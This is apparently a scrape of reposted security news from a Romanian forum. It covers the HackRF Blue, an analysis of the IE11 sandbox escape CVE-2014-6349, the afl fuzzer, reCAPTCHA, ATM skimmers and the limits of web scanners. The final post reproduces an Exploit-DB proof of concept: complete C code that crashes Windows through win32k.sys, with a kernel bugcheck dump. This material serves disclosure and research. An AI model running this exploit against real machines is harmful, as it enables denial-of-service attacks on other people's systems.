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HackRF Blue: A Lower Cost HackRF Earlier in the year the HackRF One was released by Micheal Ossmann. It is a transmit and receive capable software defined radio with a 10 MHz to 6 GHz range which currently sells for around $300 USD. Since the HackRF is open source hardware, anyone can make changes to the design and build and sell their own version. The HackRF Blue is a HackRF clone that aims to sell at a lower cost. By sourcing lower cost parts that still work well in the HackRF circuit, the team behind the HackRF Blue were able to reduce the price of the HackRF down to $200 USD. They claim that the HackRF Blue has the same performance as the HackRF One and is fully compatible with the HackRF software. They are currently seeking funding through an IndieGoGo campaign. Their main goal through the funding is to help provide underprivileged hackerspaces with a free HackRF. The HackRF Blue https://www.youtube.com/watch?feature=player_embedded&v=giSax3XBbJ4 Sursa: HackRF Blue: A Lower Cost HackRF - rtl-sdr.com

Escaping the Internet Explorer Sandbox: Analyzing CVE-2014-6349 8:00 pm (UTC-7) | by Jack Tang (Threats Analyst) Applications that have been frequently targeted by exploits frequently add sandboxes to their features in order to harden their defenses against these attacks. To carry out a successful exploit, an attacker will have to breach these sandboxes to run malicious code. As a result, researchers will pay particular attention to exploits that are able to escape sandboxes. In both October and November Patch Tuesday cycles, Microsoft addressed several vulnerabilities that were used by attackers to escape the Internet Explorer sandbox. One of these was CVE-2014-6349, which was addressed by Microsoft as part of MS14-065, November’s cumulative Internet Explorer patch. We chose this particular vulnerability for two reasons: exploiting it is relatively easy, and its methodology – using shared memory to escape the Internet Explorer sandbox – has not been seen before. A separate vulnerability that also allowed for sandbox escapes – CVE-2014-6350 – was also fixed in the same patch, and Google released details about this second vulnerability earlier this week. Internet Explorer 11 exposes a shared memory section object to all tab process (which are sandboxed). This is used to store various Internet Explorer settings. Normally, the tab processes only read this to see these settings. However, in Enhanced Protected Mode (EPM, which is IE’s sandbox mode), the shared memory section‘s DACL (Discretionary Access Control List) is not configured correctly. The tab processes have “write” permission to modify the shared memory section content. This can be used by an attacker to break the IE sandbox. How can this be done? We will explain this in the rest of this post. To understand the concepts covered in this post, background knowledge about Protected Mode (PM) and EPM is necessary. These MSDN documents and HITB presentations provide background information on these topics. I carried out my tests on a system running Windows 8.1 with Internet Explorer 11.0.9600.17107. After enable IE 11’s EPM mode, we run IE. The broker process and tab process are seen below: Figure 1. Internet Explorer broker and tab processes The parent iexplore.exe broker process’s integrity is Medium. The iexplore.exe tab process’s integrity is AppContainer. This means the web page rendering in the sandboxed tab process is in the sandbox and its privilege is controlled. Both process share a memory section: \Sessions\1\BaseNamedObjects\ie_ias_<frame process id>-0000-0000-0000-000000000000. The section object’s DACL (Discretionary Access Control List) status is below: Figure 2. Access Control List for shared memory The ACE (Access Control Entry) for SID S-1-15-3-4096 is encircled. This shows that this particular “user” can modify the shared memory. What is S-1-15-3-4096? It is a “capability” whose name is “internetExplorer”. This particular concept was introduced in Windows 8 with AppContainer (please refer to the HITB presentation). Now, let us check the sandboxed tab process’s security tokens: Figure 3. List of sandboxed tab process security tokens The above shows us that the sandbox tabs can modify the memory of the shared memory section. Because of the shared memory section’s role, the sandbox can be escaped. Before we look into why, we can examine the previous protections that were used by Internet Explorer. Figure 4. Architecture of Internet Explorer Internet Explorer 8 introduced the Loosely-coupled Internet Explorer (LCIE) architecture to improve the browser’s reliability. In IE11 EPM mode, the broker process is running with middle integrity and the tab processes are running in AppContainer (i.e., each is sandboxed). The broker process manages the children tab processes, with each invidual tab process rendering various oben web pages. In Figure 4, CBrowserFrame within the broker process receives and dispatches messages to process the procedure CBrowserFrame:: FrameMessagePump(). CTabWindow represents tab windows, which each CTabWindow instance corresponding to a sandboxed tab process. The CTabWindowManger manages existing CTabWindow instances, for example, creating a new instance or finding an existing instance. The shared memory contains the immutable application state (IAS), which is queried by the parent broker process and the sandboxed processes. The shared memory’s address was hold by a global variable whose full name is g_pvImmutableApplicationStateMappingBaseAddress. For convenience , we can call this shared memory as shared IAS memory. This memory is created when the broker process starts. Below is the call stack: Figure 5. Call stack After CreateFileMapping is called, the access control information for this section object will be set. Figure 6. Setting the access control information The vulnerability exists in the circled code. The SetWindowsHandleAccess function’s parameter is not set correctly, which leads to the shared memory section object’s ACE for the internetExplorer capability to have the modify permission. Why can the attacker escape from the IE sandbox by modified shared IAS memory? Let us examine the contents of this memory space. It is 0x25C in size, and the table below lists its contents. Table 1. Contents of shared memory space We can guess that if an attacker can modify the relevant byte(s) from a sandboxed process, it will control parent broker process’s behavior. For example, let us try the offset 0x2C. Its value is normally 1. We set it to zero from a sandboxed tab process. Normally, when a new tab is created, this is what is seen. A new process is created for the new tab. Figure 7. Normal setup – separate processes per tab If the boolean value at 0x2C is set to zero, a process for a new tab window is not created, as seen below: Figure 8. No separate processes per tab Two tabs only have one process. Checking the new tab’s properties, we find: Figure 9. Protected Mode turned off The page is not in sandbox mode (EPM mode). We know that 0x2C is a flag that determines whether a new process is created for a new tab, but how does this lead to a sandbox escape? When the user clicks the “New Tab” button in the IE UI, the broker process’s CBrowserFrame:: FrameMessagePump() function will get the message, and will dispatch the corresponding window’s procedure to handle the message. Finally, it will call CTabWindowManager to create a CTabWindow instance, and will then query the shared IAS memory at 0x2c to decide whether to create new process for the tab window or create a new thread instead. If this value is 1, a new process is created. If it is 0, the broker process only creates a new thread for the new tab. However, in this case, the new tab renders in the parent broker process’s instance. We can see that the behavior of the parent broker process was modified by the sandboxed process – hence, the sandbox has been breached using this method. Any breach of a sandbox is dangerous and may be exploited in more dangerous attacks. This vulnerability was fixed by Microsoft by correcting the ACE of the internetExplorer capability for the shared IAS memory. Figure 10. Corrected ACE This can be seen in the code below. Figure 11. Modified code Sursa: Escaping the Internet Explorer Sandbox - Analyzing CVE-2014-6349 | Security Intelligence Blog | Trend Micro

Toorcon 16 - Reverse Engineering Malware For Newbies Description: http://gironsec.com/code/Re_For_Nubs.tgz For More Information please visit: - ToorCon | Information Security Conferences Via: Toorcon 16 - Reverse Engineering Malware For Newbies

Duktape Duktape is an embeddable Javascript engine, with a focus on portability and compact footprint. Duktape is easy to integrate into a C/C++ project: add duktape.c and duktape.h to your build, and use the Duktape API to call Ecmascript functions from C code and vice versa. Main features: Embeddable, portable, compact; about 210kB code, 80kB memory, 40kLoC source (excluding comments etc) Ecmascript E5/E5.1 compliant, some features borrowed from E6 draft Built-in regular expression engine Built-in Unicode support Minimal platform dependencies Combined reference counting and mark-and-sweep garbage collection with finalization Custom features like coroutines, built-in logging framework, and built-in CommonJS-based module loading framework Property virtualization using a subset of Ecmascript E6 Proxy object Liberal license (MIT) Current status: Stable Support: User community Q&A: Stack Overflow duktape tag Bugs and feature requests: GitHub issues General discussion: IRC #duktape on chat.freenode.net (webchat) Sursa: Duktape

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[h=1]american fuzzy lop (0.85b)[/h] American fuzzy lop is a security-oriented fuzzer that employs a novel type of compile-time instrumentation and genetic algorithms to automatically discover clean, interesting test cases that trigger new internal states in the targeted binary. This substantially improves the functional coverage for the fuzzed code. The compact synthesized corpora produced by the tool are also useful for seeding other, more labor- or resource-intensive testing regimes down the road. Compared to other instrumented fuzzers, afl-fuzz is designed to be practical: it has modest performance overhead, uses a variety of highly effective fuzzing strategies, requires essentially no configuration, and seamlessly handles complex, real-world use cases - say, common image parsing or file compression libraries. [h=2]The "sales pitch"[/h] In a hurry? There are several fairly decent reasons to give afl-fuzz a try: It is pretty sophisticated. It's an instrumentation-guided genetic fuzzer capable of synthesizing complex file semantics in a wide range of non-trivial targets, lessening the need for purpose-built, syntax-aware tools. It also comes with a unique crash explorer to make it dead simple to evaluate the impact of crashing bugs. It has street smarts. It is built around a range of carefully researched, high-gain test case preprocessing and fuzzing strategies rarely employed with comparable rigor in other fuzzing frameworks. As a result, it finds real bugs. It is fast. Thanks to its low-level compile-time instrumentation and other optimizations, the tool offers near-native fuzzing speeds against common real-world targets. For example, you can get 2,500+ execs per second per core with libpng. It's rock solid. Compared to other instrumentation- or solver-based fuzzers, it has remarkably few failure modes. It also comes with robust, user-friendly problem detection that guides you through any potential hiccups. No tinkering required. In contrast to most other fuzzers, the tool requires essentially no guesswork or fine-tuning. Even if you wanted to, you will find virtually no knobs to fiddle with and no "fuzzing ratios" to dial in. It's chainable to other tools. The fuzzer generates superior, compact test corpora that can serve as a seed for more specialized, slower, or labor-intensive processes and testing frameworks. It sports a hip, retro-style UI. Just scroll back to the top of the page. Enough said. Want to try it out? Check out the documentation or grab the source code right away. [h=2]The bug-o-rama trophy case[/h] The fuzzer is still under active development, and I have not been running it very systematically or at a scale. Still, based on user reports, it seems to have netted quite a few notable vulnerabilities and other uniquely interesting bugs. Some of the "trophies" that I am aware of include: [TABLE] [TR] [TD]IJG jpeg 1 [/TD] [TD]libjpeg-turbo 1 2 [/TD] [TD]Mozilla Firefox 1 2 3 4 [/TD] [/TR] [TR] [TD]Google Chrome 1 [/TD] [TD]Internet Explorer 1 2 [/TD] [TD]bash (post-Shellshock) 1 2 [/TD] [/TR] [TR] [TD]GnuTLS 1 [/TD] [TD]GnuPG 1 2 [/TD] [TD]OpenSSH 1 2 3 [/TD] [/TR] [TR] [TD]FLAC audio library 1 [/TD] [TD]tcpdump 1 2 3 4 5 6 [/TD] [TD]dpkg 1 [/TD] [/TR] [TR] [TD]systemd-resolved 1 2 [/TD] [TD]strings (+ related tools) 1 2 3 4 5 6 7 [/TD] [TD]less / lesspipe 1 2 3 [/TD] [/TR] [TR] [TD]rcs 1 [/TD] [TD]OpenBSD pfctl 1 [/TD] [TD]man & mandoc 1 [/TD] [/TR] [TR] [TD]libyaml 1 [/TD] [TD]Info-Zip unzip 1 [/TD] [TD]procmail 1 [/TD] [/TR] [TR] [TD]libsndfile 1 2 3 [/TD] [TD]fwknop[/TD] [TD]mutt 1 [/TD] [/TR] [/TABLE] Plus, probably, quite a few other things that weren't attributed to the tool and that I have no way of knowing about. [h=2]Download & other useful links[/h] Here's a collection of useful links related to afl-fuzz: Current and past releases of the tool (changes), Online copy of the README file, Description of the status screen, Generated test cases for common image formats, Notes on the inspiration and design goals for afl-fuzz. The tool is confirmed to work on x86 Linux, OpenBSD, FreeBSD, and NetBSD, both 32- and 64-bit. It should also work on MacOS X and Solaris, although with some constraints. It supports programs written in C, C++, or Objective C, compiled with either gcc or clang. Java programs compiled with GCJ can be supported with very little effort. If you are honestly interested, ping me and I'll help you set it up. For fuzzing Python, you may want to check out this module from Jakub Wilk. To send bug reports, feature requests, or chocolate, simply drop a mail to lcamtuf@coredump.cx. Sursa: american fuzzy lop

[h=1]Google Reinvents the CAPTCHA[/h] [h=4]Tara Seals US/North America News Reporter, Infosecurity Magazine[/h] Email Tara We’re all familiar with reCAPTCHAs: those scrambled letter ciphers that users are asked to key in, in order to protect websites from spam and abuse by robots. For years, web surfers have been asked to read distorted text and type it into a box—leading to a safer web, but a more frustrated user populace. Sometimes, not even live humans can get the CAPTCHAs right. Google aims to change all of that—by reinventing the CAPTCHA experience. “We figured it would be easier to just directly ask our users whether or not they are robots—so, we did!” said Vinay Shet, Google’s product manager for reCAPTCHA, in a blog. “We’ve begun rolling out a new API that radically simplifies the reCAPTCHA experience. We’re calling it the ‘No CAPTCHA reCAPTCHA.’” Now, users are asked to simply check a box that asks, “Are you sure you’re not a robot?” From there, in some cases, a CAPTCHA to solve will be presented. But not always. While the user experience will be better, there’s another reason for the change: Today’s artificial intelligence technology can solve even the most difficult variant of distorted text, at 99.8% accuracy. “Thus distorted text, on its own, is no longer a dependable test,” Shet said. To counter this, Google has developed an advanced risk analysis back-end for reCAPTCHA that actively considers a user’s entire engagement with the CAPTCHA—before, during, and after—to determine whether that user is a human. “This enables us to rely less on typing distorted text and, in turn, offer a better experience for users,” Shet said. And, “while the new reCAPTCHA API may sound simple, there is a high degree of sophistication behind that modest checkbox.” In cases when the risk analysis engine can't confidently predict whether a user is a human or an abusive agent, it will prompt a CAPTCHA to elicit more cues, increasing the number of security checkpoints to confirm the user is valid. Google has also worked on the mobile aspect of CAPTCHAs—after all, typing in a code on a smaller screen offers plenty of room for mis-typing and customer dissatisfaction. So, in one example, a website visitor may be asked to tap, say, all of the pictures of turkeys within a screen of animal tiles. “This new API…lets us experiment with new types of challenges that are easier for us humans to use, particularly on mobile devices,” Shet said. Websites are already adopting these methods, including early adopters like Snapchat, WordPress, Humble Bundle and others. “For example, in the last week, more than 60% of WordPress’ traffic and more than 80% of Humble Bundle’s traffic on reCAPTCHA encountered the No CAPTCHA experience—users got to these sites faster,” Shet said. “Humans, we'll continue our work to keep the Internet safe and easy to use. Abusive bots and scripts, it’ll only get worse—sorry we’re (still) not sorry.” Sursa: Google Reinvents the CAPTCHA - Infosecurity Magazine

[h=1]?i ho?ii ?in pasul cu tehnologia: a?a arat? noile Skimmere "invizibile" folosite la clonarea cardurilor de credit[/h] Aurelian Mihai - 3 dec 2014 Dispozitivele aplicate pe bancomate cu scopul a clona cardurile de credit au atins un nivel impresionant de miniaturizare, devenind practic invizibile pentru persoane neavizate. F?r? componente la vedere, noile Skimmere ATM prezint? un risc real la adresa bancomatelor amplasate în spa?ii publice. Deghizate ingenios pentru a atrage cât mai pu?in aten?ia în timpul cât sunt ata?ate de bancomat, dispozitivele de tip Skimmer folosite de infractori pentru clonarea cardurilor bancare se afl? într-o continu? evolu?ie. Recent descoperit la un bancomat din Europa, un nou tip de Skimmer ATM realizat folosind metoda “wiretapping” pare s? fi g?sit camuflajul perfect, dispozitivul fiind instalat practic în interiorul ATM-ului, ac?ionând f?r? a da nimic de b?nuit. Skimmer realizat prin metoda ?wiretapping? Procedeul de instalare presupune aplicarea unei g?uri pe carcasa ATM-ului, chiar în dreptul fantei pentru card. Mai departe, infractorii conecteaz? un dispozitiv de înregistrare miniatural direct la cititorul de card-uri al ATM-ului folosind unelte ?i echipament personalizat. Pentru a nu da de b?nuit, gaura este deghizat? folosind un ab?ibild imitând instruc?iunile de utilizare a bancomatului. Skimmer-ul instalat chiar în interiorul ATM-ului înregistreaz? datele card-urilor în mod autonom. Pentru colectarea datelor recoltate ho?ii nu trebuie decât s? dezlipeasc? ab?ibild-ul ?i s? conecteze firul r?mas la vedere unui dispozitiv de stocare extern. Pân? la alertarea autorit??ilor, procedeul de recoltare a datelor poate fi repetat ori de câte ori este nevoie. Skimmer proiectat pentru a fi strecurat direct în slot-ul pentru acceptare a card-ului O alt? inova?ie în domeniul Skimmerelor ATM este un dispozitiv de forma unei pl?cu?e din o?el, con?inând toate componentele electronice necesare ?i un acumulator suficient pentru pân? la 2 s?pt?mâni de activitate. Proiectat pentru a fi strecurat direct în slot-ul pentru acceptare a card-ului, ?i acesta este complet invizibil pentru utilizatorii aparatului. Diferen?a este c? în loc de cablu, datele colectate sunt trimise prin conexiune wireless unui smartphone aflat în buzunarul infractorului prezentat în fa?a bancomatului ca ?i vizitator. Pentru ca datele colectate de pe card-urile de credit s? poat? fi utilizate este necesar? ?i interceptarea cod-ului pin, folosind o camer? video miniatural? deghizat? într-un panou ata?at în dreptul tastaturii. Sursa: ?i ho?ii ?in pasul cu tehnologia: a?a arat? noile Skimmere "invizibile" folosite la clonarea cardurilor de credit

[h=1]Limitations of Automated Web Application Vulnerability Scanners[/h] [h=2]Introduction[/h] Many security specialists rely solely on Web Application Vulnerability Scanners for security testing. Depending only on automated vulnerability scanners will lead to a false sense of security because it leaves out many tests that can only be run manually. In this article we will give you a better understanding of the capabilities and limitations of automated vulnerability scanners so you can make educated decisions when conducting web application security assessments. [h=2]What is a web application vulnerability scanner?[/h] Web application vulnerability scanners are the automated tools that scan web applications to look for signatures of known security vulnerabilities such as cross-site scripting, SQL injection and others. There are several commercial and free vulnerability scanners available on the market, here is the list of the most popular tools: AppScan (IBM) Burp Suite (PortSwiger) Nessus (Tenable Network Security) NeXpose (Rapid 7) WebInspect (HP) Websecurify Suite (Websecurify) Zed Attack Proxy (OWASP). Some of the scanners require nothing except the link to the target websites, while others need some configuration before you run them. Most of them have advanced configuration options where the user can fine-tune the scanner (disable unneeded modules, setup the maximum number of threads, configure test and risk levels, etc.) before running the test. [h=2]What do vulnerability scanners can identify?[/h] Despite the difference in configuration the automated web app scanners mentioned above and others on the market can detect the following: Some SQL Injections using common techniques like causing database errors (i.e.: by sending a single quote), a time delay (by injecting the “sleep()” function in the query on MySQL server or “waitfor delay” on MS SQL server) Most of the reflected Cross-site scripting (XSS) vulnerabilities – where malicious JavaScript code can be injected in the request and is returned in the response Some of the stored XSS vulnerabilities – where malicious JavaScript is stored on the sever and is displayed every time somebody (can be the attacker or an unsuspecting user) is requesting a specific page Very few DOM-based XSS vulnerabilities – where user-controllable data is used by client-side JavaScript Path traversal vulnerabilities – arbitrary read of the files on the vulnerable web server (/etc/passwd or win.ini are usually used for this test) File inclusion vulnerabilities – arbitrary file from the Internet can be included in the response (i.e. random text file from attacker controllable server) Command injection vulnerabilities by injecting a command which will delay the response (i.e.: ping localhost 20 times) or return specific output in the response (i.e. ipconfig) Hidden pages and files Directory listing Webserver vulnerabilities Other vulnerabilities like cleartext password submission, session tokens in URL, password field autocomplete, SSL cookie without secure flag, frameable responses which can be determined by analyzing the requests and responses of the web application [h=2]What can go wrong?[/h] In some cases the web application vulnerability scanners may fail to detect some of the vulnerabilities mentioned above or may not work properly. Below is the list of the top reasons why automated vulnerability scanners might not work: Custom-built authentication mechanism – when a web application uses proprietary approaches to authenticate the users (multi-step authentication, non-standard session management, etc) sometimes the scanner my fail to login and only scan unauthenticated parts of the web application Web applications with heavy use of AJAX – many of the web scanners spiders do not handle dynamic AJAX content properly Web sites with a lot of content or with a high number of dynamically generated pages – sites like Amazon, Facebook, eBay and YouTube where there are thousands of similar pages with different content, new pages are generated because of the user actions (including vulnerability scanner generating new pages while doing the scan) or when each requests receives a unique response URL [h=2]What do vulnerability scanners are not able to do?[/h] In addition to the limitations mentioned above the scanners are not smart enough to test for specific vulnerabilities in the application logic. Web application vulnerability scanners are not able to test for: Authentication vulnerabilities such as username enumeration, resilience to password guessing, any account recovery functions, credentials predictability or any other logic flaws in the authentication Session management flaws like meaningful or predictable tokens, session fixation, mapping tokens to session, session hijacking etc. Vulnerabilities in access controls where a user can access others’ user data or admin functionality without having admin privileges assigned Application logic flaws such as ordering negative number of items, skipping a stage in multi-stage processes (i.e. going straight to shipping page skipping the payment page) etc. Shared hosting vulnerabilities – test segregation in shared infrastructure or between ASP-hosted applications Leakage of sensitive information such as password hashes in the hidden fields or user logs [h=2]Where are vulnerability scanners in the web applications testing methodology?[/h] Here is a typical web application testing methodology with highlighted stages which can be partially automated with vulnerability scanners1: [h=2]Know your tools[/h] To summarize, automated web application scanners are essential tools for any vulnerability assessment or penetration tests but you should know their capabilities and limitations. However, a qualified penetration tester is still required to know how interpret the results, perform advanced manual testing and understand the risks to the organization. For information on how vulnerability assessments and penetration testing fits into an overall security testing program read Seven Tips for Increasing your Web Application Security . Resources: Source: The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws By Arsenii Pustovit – Information Security Analyst @ Eosensa Sursa: Limitations of Automated Web Application Vulnerability Scanners | Eosensa

Bre, toate informatiile sunt publice. Ca si acest topic. Singurele informatii private sunt adresele IP ( dar... stiti voi ) si mesajele private pe care fiecare le poate sterge. In rest, oricine poate sa vada ca eu zic acum "Muie Garda".

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[h=1]Microsoft Windows Win32k.sys - Denial of Service[/h] # Exploit Title: Microsoft Windows Win32k.sys Denial of Service # Date: 20-11-2014 # Exploit Author: Kedamsky (kedamsky@mail.ru) # Vendor Homepage: http://microsoft.com # Software Link: http://www.microsoft.com/en-us/download/windows.aspx # Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64) # Tested on: [XP to 8.1 x86/x64] Microsoft Windows win32k.sys DoS exploit by Kedamsky mailto:kedamsky@mail.ru ========================= Vulnerability Description ========================= The vulnerability exists in the function win32k!xxxMenuWindowProc. It calls the function win32k!xxxMNOpenHierarchy that can return valid pointer to data and 0 or -1 otherwise. The function win32k!xxxMenuWindowProc does not validate the result of win32k!xxxMNOpenHierarchy properly and it is possible to try to read data from address -1. =============== Vulnerable code =============== 8f584e72 85c0 test eax,eax 8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371) 8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1 ... 8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260) 8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72) ================ Typical bugcheck ================ ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffffffff FAULTING_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] MM_INTERNAL_CODE: 0 IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60 MODULE_NAME: win32k FAULTING_MODULE: 8f480000 win32k DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: DOS3_1E3.exe CURRENT_IRQL: 2 TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64) ErrCode = 00000000 eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270 eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 win32k!xxxMenuWindowProc+0xa09: 8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98 STACK_TEXT: 9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction 9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c 9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d 9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a 9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc 9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09 9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4 9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c 9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27 9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6 9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a 0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet 0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc 0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5 0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c 0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22 0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100 0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21 0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24 0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e 0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc 0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68 0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23 0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b 0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7 0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c 0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41 0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7 0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910 0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c 0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23 0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b 0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322 0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf 0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d 0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238] 0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe 0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23 0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!xxxMenuWindowProc+a09 FOLLOWUP_NAME: MachineOwner FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 Followup: MachineOwner --------- ================ Proof of Concept ================ //#include "stdafx.h" #include <windows.h> #define BSOD_BUTTON 0x9876 HMENU hMenu[3]; ULONG MenuLevel = 0; HWND hTargetMenuWnd = 0; void KeyEvent() { INPUT input; memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); SendInput(1, &input, sizeof(input)); Sleep(50); memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); input.ki.dwFlags = KEYEVENTF_KEYUP; SendInput(1, &input, sizeof(input)); } LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL) { return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0); } return 0; } VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hWnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) { ++MenuLevel; if (MenuLevel == 1) { KeyEvent(); } else if (MenuLevel == 2) { SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); hTargetMenuWnd = hWnd; SendMessage(hTargetMenuWnd, 0x1F2, 0, 0); } } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_COMMAND: if (LOWORD(wParam) == BSOD_BUTTON) { SetWinEventHook( EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), WinEventProc, GetCurrentProcessId(), GetCurrentThreadId(), WINEVENT_OUTOFCONTEXT); TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL); } case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProcA(hWnd, message, wParam, lParam); } return 0; } int APIENTRY WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ int nCmdShow) { WNDCLASSA Class; Class.style = 0; Class.lpfnWndProc = WndProc; Class.cbClsExtra = 0; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.hIcon = NULL; Class.hCursor = LoadCursor(0, IDC_ARROW); Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); Class.lpszMenuName = NULL; Class.lpszClassName = "MyWinClass"; if (RegisterClassA(&Class) != NULL) { HWND hMainWnd = CreateWindowA( "MyWinClass", "Microsoft Windows Win32k.sys Denial of Service Vulnerability", WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 0, 0, 500, 200, NULL, NULL, hInstance, NULL); if (hMainWnd != NULL) { HWND hButton = CreateWindowA( "Button", "Click me to see BSOD", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 150, 50, 200, 50, hMainWnd, (HMENU)BSOD_BUTTON, hInstance, NULL); if (hButton != 0) { hMenu[0] = CreatePopupMenu(); hMenu[1] = CreatePopupMenu(); hMenu[2] = CreatePopupMenu(); AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1"); AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1"); AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1"); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } } return 0; } Sursa: http://www.exploit-db.com/exploits/35326/

